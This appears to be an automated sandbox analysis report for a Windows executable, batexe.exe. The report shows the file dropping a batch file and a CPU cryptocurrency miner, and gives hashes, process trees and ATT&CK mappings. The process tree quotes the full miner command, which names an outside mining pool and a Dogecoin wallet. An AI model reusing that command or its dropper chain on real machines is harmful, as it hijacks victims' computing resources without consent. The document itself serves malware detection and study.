73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
24/02/2024, 05:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
960	b2e.exe
1492	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1492	cpuminer-sse2.exe
1492	cpuminer-sse2.exe
1492	cpuminer-sse2.exe
1492	cpuminer-sse2.exe
1492	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2100-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 960	2100	batexe.exe	75
PID 2100 wrote to memory of 960	2100	batexe.exe	75
PID 2100 wrote to memory of 960	2100	batexe.exe	75
PID 960 wrote to memory of 2472	960	b2e.exe	76
PID 960 wrote to memory of 2472	960	b2e.exe	76
PID 960 wrote to memory of 2472	960	b2e.exe	76
PID 2472 wrote to memory of 1492	2472	cmd.exe	79
PID 2472 wrote to memory of 1492	2472	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7976.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2472
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe

Filesize
5.0MB

MD5
7ffc044dd3e2401c6b722976fdc9f505

SHA1
762accc0ece3415ce3628aeb7aec3e6eccd953ee

SHA256
96e17b2ed4f07e5609f287f7f4312b88b1fbe4e49c6739eeb6b3627a3d27ee48

SHA512
91804ea277cd0c681471d2b89ec14404b7c965d43eba0913d072ac4f9d0d71d3b710d67704d18222174e9b120fa6ddcdf56fed3cb717b49ffcb5c57b603e6058

Download Submit
C:\Users\Admin\AppData\Local\Temp\76A7.tmp\b2e.exe

Filesize
4.4MB

MD5
ee08433e92a791a6ce68b2f323a16e7b

SHA1
dbeae3741c9c1810da32b76aafda19e699c98dbd

SHA256
1ce5a76de6868c3b7dc124002a983e097ee504d54e85bbda9bfeac4dc36bcd5e

SHA512
117f969a615dfde63093c265ed13e71463366e7c9df23511146f18c732a0e8d62b2c91b69ceb17294a7ad92a6dae452179cbae21fb8eb6e92227eb3dfa1a8fbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\7976.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
128KB

MD5
87bb74a6790018700645a8310bb9a32a

SHA1
b0e3e91efa12e0df5ed4538d3b549ab5d9f6c16b

SHA256
ee6a846f1dcf082d5216bf314e65e1428af13ce54dfaaeb371d1c54f330c5298

SHA512
702e12a0858a1dd987d6a761f0ddc88fee9bce38be3d71f8c9be3fecc8cc6e88763967140f83caf4f2e10109ab95b811bb70bc70ff0b5cce8f0f32713ad3683b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
f80d37ddadda33f7b31810f474be12dc

SHA1
5d54ada0f6d470d6612afa9db1d657171dc1bcd6

SHA256
3006e4db07003237971fdfd5d4a88a6ad520496156918b83427866ae7d9c8f70

SHA512
fbc5ebf8321ceb780b06b6d73cc980510013a96ee4fa4878456156f42dac685ad23378419dd7855a8f125b59dec50fc8651edbde9f73ac4034b1ba0d6ede99fd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
c619be7aff6c0186635c70e7efed7756

SHA1
d958ea7c5a47a6bf9c080c834faec70bc0cfa154

SHA256
4a29efcc5e99de9d304870b8e49dac527c73ba5ba3d092a3282be189fda9ccb7

SHA512
579ccccd6c5803bc3f75386ecbd4c72ac0ae5a4139529b043f7ff0d8d04cace868e84696fbd3fceaa64b8118b1fc05c6ef5c32244cb628ca95fe61f1e6f44bb7

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/960-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/960-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1492-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/1492-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1492-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-43-0x000000005AE90000-0x000000005AF28000-memory.dmp

Filesize
608KB

Download
memory/1492-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1492-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1492-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2100-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download